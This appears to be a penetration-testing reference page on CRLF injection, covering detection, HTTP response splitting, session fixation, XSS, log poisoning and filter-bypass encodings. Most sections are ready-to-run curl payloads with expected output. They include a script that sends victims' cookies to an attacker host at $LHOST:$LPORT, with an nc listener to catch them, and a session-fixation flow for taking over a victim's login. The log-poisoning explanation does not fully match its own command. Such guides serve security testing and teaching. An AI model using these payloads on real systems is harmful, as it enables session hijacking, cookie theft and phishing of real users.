# CRLF Injection

> Exploiting CRLF injection to manipulate HTTP headers, inject malicious responses, perform response splitting, and achieve session hijacking or XSS attacks.

- **URL:** https://hackindex.io/services/web/exploitation/crlf-injection
- **Path:** HTTP/HTTPS > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/web/exploitation.md)
- **Published:** 2026-09-13
- **Updated:** 2026-09-13

CRLF injection exploits applications that pass unsanitized user input into HTTP response headers. Injecting `%0d%0a` (URL-encoded carriage return + line feed) lets an attacker insert arbitrary response headers or terminate the header section entirely. A single CRLF adds a new header. A double CRLF (`%0d%0a%0d%0a`) ends the headers and starts the response body, giving full control over rendered content. Depending on where the injection lands, this enables session fixation, reflected XSS, cache poisoning, and log forgery. Injection points are easiest to find during [HTTP header analysis](https://hackindex.io/services/web/enumeration/http-header-analysis), where you identify parameters that reflect into response headers. Because CRLF can inject a full response body with arbitrary HTML, it chains directly into [XSS filter bypass](https://hackindex.io/services/web/exploitation/xss-filter-bypass) scenarios where traditional reflected XSS vectors are blocked.

## Detection

Inject `%0d%0a` followed by a custom header into parameter values that reflect in response headers. Common injection points are redirect URLs, language or locale parameters that set cookies, and any input the application uses to construct a `Location`, `Set-Cookie`, or custom response header.

**Basic CRLF test in a redirect parameter**

```bash
curl -I "http://$TARGET_IP:$PORT/redirect?url=http://example.com%0d%0aX-Injected:%20true"
# HTTP/1.1 302 Found
# Location: http://example.com
# X-Injected: true
# Content-Type: text/html
```

If `X-Injected: true` appears as a separate response header, the parameter is vulnerable. The application passes user input into the response without filtering newline characters.

**Testing a cookie-setting parameter**

```bash
curl -v "http://$TARGET_IP:$PORT/setlang?lang=en%0d%0aSet-Cookie:%20test=injected"
# < HTTP/1.1 200 OK
# < Set-Cookie: lang=en
# < Set-Cookie: test=injected
# < Content-Type: text/html
```

Automated scanners often miss CRLF injection because the response status code stays normal. Manual review with `curl -v` or Burp repeater is more reliable for confirming injected headers appear in the response.

## HTTP Response Splitting

A single `%0d%0a` injects one header. A double CRLF (`%0d%0a%0d%0a`) terminates the header section and starts the response body. Everything after the double CRLF is rendered by the browser as page content.

**Injecting a Set-Cookie header**

```bash
curl -I "http://$TARGET_IP:$PORT/redirect?url=http://example.com%0d%0aSet-Cookie:%20admin=true"
# HTTP/1.1 302 Found
# Location: http://example.com
# Set-Cookie: admin=true
# Content-Type: text/html
```

Injecting a `Location` header can redirect the victim to an attacker-controlled server for credential phishing or payload delivery. Browser behavior varies on which `Location` header it follows when multiples are present.

**Injecting a redirect to an attacker server**

```bash
curl -I "http://$TARGET_IP:$PORT/redirect?url=%0d%0aLocation:%20http://$LHOST/phish"
# HTTP/1.1 302 Found
# Location: 
# Location: http://10.10.14.1/phish
# Content-Type: text/html
```

A double CRLF followed by a `Content-Type` header ensures the browser interprets the injected body as HTML rather than plain text.

**Full response body injection via double CRLF**

```bash
curl "http://$TARGET_IP:$PORT/redirect?url=%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html><body><h1>Injected Page</h1></body></html>"
# HTTP/1.1 302 Found
# Location: 
# Content-Type: text/html
#
# <html><body><h1>Injected Page</h1></body></html>
```

How the browser handles a split response depends on the server and proxy chain. Some proxies split it into two separate responses, serving the injected body as a response to the next incoming request (HTTP response queue poisoning).

## Session Fixation via CRLF

When a CRLF injection exists in a response header, the attacker can inject a `Set-Cookie` header that forces a known session ID onto the victim. The attack flow: create a session, craft a URL that sets that session cookie via CRLF injection, and send it to the victim. After the victim authenticates, the attacker reuses the same session ID to access the authenticated session.

**Injecting a session cookie**

```bash
curl -I "http://$TARGET_IP:$PORT/redirect?url=http://$TARGET_IP:$PORT/%0d%0aSet-Cookie:%20PHPSESSID=attacker_known_value"
# HTTP/1.1 302 Found
# Location: http://10.10.10.50:80/
# Set-Cookie: PHPSESSID=attacker_known_value
# Content-Type: text/html
```

Send this URL to the victim. When they follow the redirect and log in, their browser uses the attacker-set session cookie. After authentication, access the session with the known cookie value.

**Accessing the fixated session after victim login**

```bash
curl -b "PHPSESSID=attacker_known_value" "http://$TARGET_IP:$PORT/dashboard"
```

> [!WARNING]
> Session fixation only works when the application does not regenerate the session ID after authentication. Most modern frameworks regenerate by default, but custom session handling and older applications often skip this step.

## XSS via CRLF

A double CRLF followed by a `<script>` tag injects JavaScript that executes in the context of the target domain. This gives access to the victim's cookies, session storage, and DOM content for that origin. Because the injection is in the URL or header value, WAFs and input filters that only scan the request body miss it.

**Cookie theft via CRLF-injected script**

```bash
curl "http://$TARGET_IP:$PORT/redirect?url=%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Cscript%3Edocument.location%3D'http%3A//$LHOST%3A$LPORT/%3Fc%3D'%2Bdocument.cookie%3C/script%3E"
```

The URL-encoded payload decodes to a script that redirects the victim to the attacker's server with their cookies in the query string. Start a listener to capture the incoming request.

**Listener for stolen cookies**

```bash
nc -lnvp $LPORT
# Listening on 0.0.0.0 9001
# Connection received on 10.10.10.50 48234
# GET /?c=PHPSESSID=abc123def456 HTTP/1.1
# Host: 10.10.14.1:9001
```

If the session cookie has the `HttpOnly` flag, `document.cookie` cannot access it. In that case, use the XSS to perform actions as the victim (password change, data extraction, API calls) rather than stealing the cookie directly.

## Log Poisoning

Applications that log user-controlled input (URL parameters, `User-Agent`, `Referer`) line by line are vulnerable to log injection via CRLF. Injecting newline characters creates fake log entries that can mislead forensic analysis. If the log viewer renders entries as HTML without sanitization, this also opens a path to stored XSS against administrators.

**Fake log entry via URL parameter**

```bash
printf 'GET / HTTP/1.1\r\nHost: $TARGET_IP:$PORT\r\nUser-Agent: Mozilla/5.0\r\n127.0.0.1 - admin [13/Sep/2026:10:00:00] "GET /admin HTTP/1.1" 200\r\nConnection: close\r\n\r\n' | nc $TARGET_IP $PORT
```

If the server logs the `file` parameter value, the injected CRLF starts a new line in the log file. The text after it looks like a legitimate request from `10.10.10.1` as `admin`, which can obscure real attacker activity during incident response.

**Stored XSS in log viewer via CRLF**

```bash
curl "http://$TARGET_IP:$PORT/page?file=index.html%0d%0a%3Cscript%3Ealert('xss')%3C/script%3E"
```

If the log management interface renders entries without HTML escaping, the injected `<script>` tag executes when an administrator views the logs. This turns a CRLF injection into stored XSS with potential access to the admin panel.

## Filter Bypass

Applications may filter the standard `%0d%0a` sequence but miss alternative encodings. The effective bypass depends on how the server normalizes input before placing it in headers.

| Technique | Payload | When it works |
| --- | --- | --- |
| Standard | %0d%0a | No filtering in place |
| Double URL encoding | %250d%250a | Server URL-decodes twice (proxy + application) |
| UTF-8 overlong encoding | %c0%8d%c0%8a | Parsers that normalize overlong UTF-8 sequences |
| Bare CR only | %0d | Servers that accept bare carriage return as line terminator |
| Bare LF only | %0a | Servers that accept bare line feed as line terminator |
| Unicode normalization | %e5%98%8a%e5%98%8d | Parsers that normalize certain Unicode codepoints to CR/LF |
| Null byte prefix | %00%0d%0a | Filters that stop processing at null bytes |

**Double URL-encoded CRLF**

```bash
curl -I "http://$TARGET_IP:$PORT/redirect?url=http://example.com%250d%250aX-Injected:%20true"
```

**Bare LF injection**

```bash
curl -I "http://$TARGET_IP:$PORT/redirect?url=http://example.com%0aX-Injected:%20true"
```

**Unicode CRLF variant**

```bash
curl -I "http://$TARGET_IP:$PORT/redirect?url=http://example.com%e5%98%8a%e5%98%8dX-Injected:%20true"
```

Double encoding works when the application decodes input twice, which is common behind reverse proxies that decode once before forwarding. The Unicode variants (`%e5%98%8a` and `%e5%98%8d` are UTF-8 encodings of U+560A and U+560D) bypass filters that only check for `%0d` and `%0a` but are normalized to CR/LF by certain server-side parsers. Test each variant when the standard payload is blocked.

> [!NOTE]
> Modern web frameworks (Django, Rails, Express, Laravel) reject or strip CRLF from header values by default. CRLF injection is most common in custom HTTP handling code, legacy CGI applications, and older server software that builds headers from raw string concatenation.

## References

- [OWASP: CRLF Injection](https://owasp.org/www-community/vulnerabilities/CRLF_Injection) - Injection techniques and mitigation strategies.
- [PayloadsAllTheThings: CRLF Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CRLF%20Injection/README.md) - Payload reference and bypass techniques.
- [CWE-113: HTTP Response Splitting](https://cwe.mitre.org/data/definitions/113.html) - Weakness classification for CRLF in HTTP headers.
